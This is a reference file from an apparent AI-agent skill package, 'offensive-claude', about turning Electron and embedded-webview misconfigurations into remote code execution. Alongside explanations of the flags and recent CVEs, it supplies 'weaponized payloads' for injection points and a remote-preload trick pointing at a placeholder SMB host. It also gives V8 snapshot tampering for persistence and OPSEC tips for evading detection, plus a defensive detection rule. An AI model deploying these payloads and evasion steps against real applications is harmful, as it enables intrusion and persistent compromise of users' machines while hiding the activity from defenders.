Skip to content

hypnguyen1209/offensive-claude / skills/browser-exploitation

browser-exploitation

Verified

Use when building a client-side browser exploit — V8/JSC JIT type confusion to renderer R/W, V8 heap-sandbox escape, renderer-to-browser sandbox escape (Mojo IPC, GPU/Dawn/ANGLE), Electron/webview IPC abuse, 1-click RCE chains

references/electron-webview-rce.md

View on GitHub
# Electron / Embedded-Webview Client-Side RCE

Electron, CEF, and WebView2 ship Chromium + (for Electron) Node.js inside a desktop app. They collapse the long browser chain: a single `contextIsolation`/`nodeIntegration` misconfig, an over-broad preload bridge, or a tampered ASAR/snapshot turns an XSS-class injection into native RCE — *without* needing a V8 or sandbox-escape 0-day. This is the highest-ROI client-side target on the desktop in 2024-2026.

## Theory / Mechanism

### The webPreferences security matrix
Electron's renderer security is governed by `BrowserWindow`/`webview` `webPreferences`:

| Flag | Secure value | Why it matters |
|------|--------------|----------------|
| `nodeIntegration` | `false` | If `true`, the web page can call Node (`require('child_process')`) directly → trivial RCE from any injected JS. |
| `contextIsolation` | `true` | If `false`, page JS shares the V8 context with Electron/preload internals and can override prototypes/builtins to reach Node even when `nodeIntegration:false`. **Disabling nodeIntegration alone is NOT enough.** |
| `sandbox` | `true` | Containment for V8 bugs: with `sandbox:true` a V8 RCE stays in the sandboxed renderer; with `sandbox:false`, a V8 bug = system access (the "V8 patch gap" risk). |
| `webviewTag` | `false` | The deprecated `<webview>` can spawn child renderers and load remote preloads. |
| `enableRemoteModule` | `false` (removed in modern Electron) | `remote` exposed main-process objects to the renderer. |
| `webSecurity` | `true` | Disabling it kills SOP/CORS. |

### Attack surfaces (even on hardened apps)
1. **`nodeIntegration:true`** — any DOM XSS / injected JS calls `require('child_process').exec(...)`. Game over.
2. **`contextIsolation:false`** — page JS overrides a function the preload/Electron internals call (prototype pollution of `Array.prototype`, `Function.prototype.call`, etc.), executing in a context that has Node primitives. RCE despite `nodeIntegration:false`.
3. **Preload-bridge abuse** — `contextBridge.exposeInMainWorld('api', {...})` exposes functions to the page. If the bridge exposes anything powerful (`exec`, `readFile`, `loadModule`, a generic `invoke(channel, ...args)`), injected JS calls it. The bridge crosses the isolation boundary by design.
4. **IPC abuse** — `ipcRenderer.invoke/send` → `ipcMain.handle/on`. An overly trusting `ipcMain` handler (e.g. one that takes a path/command from the renderer and acts on it in the privileged main process) is renderer→main RCE.
5. **`webviewTag` remote preload** — even with `nodeIntegration:false` and no preload on the main window, an enabled `<webview>` can be pointed at an attacker page that specifies a remote `preload` (loaded via Node's `require`, so a `file:`/SMB/`asar:` URL works) → arbitrary JS in preload context.
6. **Local integrity tamper (post-foothold persistence/evasion)** — modify code in the app dir to run attacker JS in every isolate.

## Modern 2024-2026 variants (verified)

- **CVE-2025-55305 (Electron ASAR integrity bypass via V8 snapshot, 2025)** — affects apps with the `embeddedAsarIntegrityValidation` **and** `onlyLoadAppFromAsar` fuses enabled. Root cause: those fuses validate app JS inside the ASAR but **do not cover V8 heap snapshots** (Chromium also doesn't integrity-check snapshots). Precondition: a local write into the app install dir (commonly user-writable: `%AppData%\Local` on Windows). Impact: reliable attacker-JS execution in any isolate by clobbering a frequently-used builtin ("gadget"), defeating code-signing verification → persistence + evasion. Also affects Chromium-based browsers loading snapshots from user-writable paths.
- **Obsolete-feature isolation escape (GMO Flatt Security, 2025)** — RCE in a popular Japanese chat app via an obsolete Electron feature, escaping context isolation through interplay with deprecated config; demonstrates that legacy flags re-open the `contextIsolation:false` class.
- **`webview` remote-preload RCE (LSG Europe / "0-click RCE in Electron", 2024-2025)** — window created with `nodeIntegration:false` and no preload, but `webviewTag` enabled; a `<webview>` loads a malicious page whose `preload` is a `file:`/`asar:`/SMB URL (resolved by Node's `require`), running arbitrary JS in the preload context — chainable to 0-click given an open-redirect / attacker-controlled navigation.
- **Real-world chains (SecureLayer7, 2024-2025)** — documented XSS→RCE chains in widely-deployed Electron apps (Discord, Element class) where DOM injection reaches an over-broad IPC/preload bridge.
- **Systemic V8 patch gap** — Electron lags Chromium V8 fixes; with `sandbox:false`, a public V8 bug (e.g. the type-confusion/OOB CVEs in `v8-jit-typeconfusion.md`) becomes full desktop RCE against the app's Electron version.

## Complete working code/commands

### Audit (use the script)
```bash
# Unpack and audit an installed app's ASAR for misconfig + fuses + IPC surface:
python3 scripts/electron_audit.py /path/to/app.asar
#  -> reports nodeIntegration/contextIsolation/sandbox/webviewTag, exposed contextBridge APIs,
#     ipcMain handlers, dangerous sinks (child_process/eval/require), and fuse states.
# Manual unpack:
npx asar extract app.asar out/         # then read out/package.json -> "main", grep webPreferences
npx asar list app.asar | head
```

### Weaponized payloads (drop into any injection point on a misconfigured renderer)
```javascript
// (A) nodeIntegration:true  -> direct RCE
require('child_process').exec(navigator.platform.startsWith('Win') ? 'calc.exe' : 'id');

// (B) contextIsolation:false (nodeIntegration:false) -> reach Node via overridden builtin.
//     The preload/electron internals call e.g. Array.prototype.filter or .join; we hijack it.
const orig = Array.prototype.join;
Array.prototype.join = function (sep) {
  // 'this' chain eventually exposes require through the shared context in vulnerable builds
  try {
    const p = this.constructor.constructor('return process')();        // Function constructor pivot
    p.binding('spawn_sync').spawn({ file: 'calc.exe', args: ['calc.exe'], stdio: [{},{},{}] });
  } catch (e) {}
  Array.prototype.join = orig;            // restore to avoid breaking the app (OPSEC)
  return orig.apply(this, arguments);
};

// (C) Over-broad preload bridge: just call what was exposed.
//     e.g. preload did contextBridge.exposeInMainWorld('api',{run:(c)=>ipcRenderer.invoke('run',c)})
window.api && window.api.run && window.api.run('calc.exe');

// (D) webviewTag remote preload (host attacker page; victim app navigates to it):
//     <webview src="https://victim.example/" preload="file://<SMB>/p.js" nodeintegration></webview>
//     p.js runs in preload context: require('child_process').exec('calc.exe')
```

### Post-foothold integrity tamper (CVE-2025-55305 class) — persistence/evasion
```bash
# With a local write into the app dir, replace the V8 snapshot blob so attacker JS runs in
# every isolate even with ASAR fuses enabled (snapshot is not integrity-checked):
cp v8_context_snapshot.bin v8_context_snapshot.bin.bak
python3 scripts/electron_audit.py --snapshot-gadget v8_context_snapshot.bin \
        --gadget "Array.prototype.includes" --payload payload.js
# (electron_audit.py --snapshot-gadget patches a hot builtin in the snapshot blob)
touch -r v8_context_snapshot.bin.bak v8_context_snapshot.bin     # restore mtime (OPSEC)
```

## Detection
```yaml
title: Electron App Spawning Shell or LOLBin (renderer->RCE)
logsource: { product: windows, category: process_creation }
detection:
  selection:
    # Electron apps are Chromium under the hood; flag the app binary parenting a shell/LOLBin
    ParentImage|contains: ['\AppData\Local\', '\Programs\']   # typical user-install paths
    Image|endswith: ['\cmd.exe','\powershell.exe','\node.exe','\wscript.exe','\mshta.exe']
  condition: selection
level: high
```
- File-integrity monitoring (FIM) on `app.asar`, `app.asar.unpacked`, `v8_context_snapshot.bin`, `snapshot_blob.bin` in the app dir — mtime/hash change with no app-update event is the CVE-2025-55305 IOC.
- EDR: Electron renderer/main process invoking `child_process` / `node` / `cmd`; loading a preload from a UNC/`file:` path.
- IOCs: remote `preload` URLs in `<webview>` tags; `app.asar` hash mismatch vs the signed installer; new `.js` files in the app dir.

## OPSEC
- **Touches**: process tree (if you spawn a child) and/or the app dir (if you tamper snapshot/ASAR). Both are FIM/EDR-visible.
- **Prefer in-process JS execution** over `child_process` where the objective allows — spawning `cmd.exe`/`powershell.exe` from an Electron app is the loudest IOC. Use the Function-constructor / Node `process.binding` pivot to do work inside the app process.
- **Restore what you override**: in the `contextIsolation:false` builtin-hijack, put the original function back immediately so the app keeps working and no crash/anomaly fires.
- **Snapshot/ASAR tamper**: back up, patch, **restore original mtime** (`touch -r`), and prefer modifying an existing builtin over adding files. Re-sign is not possible, so keep this for environments where signature checks aren't enforced at load.
- **Delivery**: for `webviewTag`/open-redirect chains, gate on the target app's user-agent (`AppName/Version Electron/x`) so only the intended build receives the payload.

## References
- GitLab Advisory, "CVE-2025-55305: Electron ASAR Integrity Bypass via resource modification (V8 snapshot)" — https://advisories.gitlab.com/pkg/npm/electron/CVE-2025-55305/
- GMO Flatt Security, "Achieving RCE in a famous Japanese chat tool with an obsolete Electron feature" — https://flatt.tech/research/posts/escaping-electron-isolation-with-obsolete-feature/
- LSG Europe, "0-click RCE in Electron Applications" — https://lsgeurope.com/post/0-click-rce-in-electron-applications
- SecureLayer7, "Electron app security risks — Part 2: Real-world RCE chains in Discord and Element" — https://blog.securelayer7.net/electron-app-security-risks-part-2/
- HackTricks, "Electron contextIsolation RCE via IPC" — https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/electron-desktop-apps/electron-contextisolation-rce-via-ipc
- DeepStrike, "Penetration Testing of Electron-based Applications" (Electronegativity tooling) — https://deepstrike.io/blog/penetration-testing-of-electron-based-applications
slack-gif-creatoranthropics/skillsKnowledge and utilities for creating animated GIFs optimized for Slack. Provides constraints, validation tools, and animation concepts. Use when users request animated GIFs for Slack like "make me a GIF of X doing Y for Slack."Stars: 198kUpdated Claude CodeCodexVerifiedInstall
ponytailDietrichGebert/ponytailLazy senior dev mode for any coding task: the smallest change that fully solves it, and a reply a busy human understands in one read.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailHarvest every shortcut: comment into one debt ledger, so deferrals get tracked instead of forgotten. One-shot report.Stars: 194kUpdated Claude CodeCodexVerifiedInstall
ponytail-debtDietrichGebert/ponytailList every `shortcut:` comment (and older `ponytail:` ones) as a debt ledger. One-shot report, changes nothing. Use for "ponytail debt", "what did ponytail defer", "list the shortcuts", /ponytail-debt.Stars: 194kUpdated Claude CodeCodexVerifiedInstall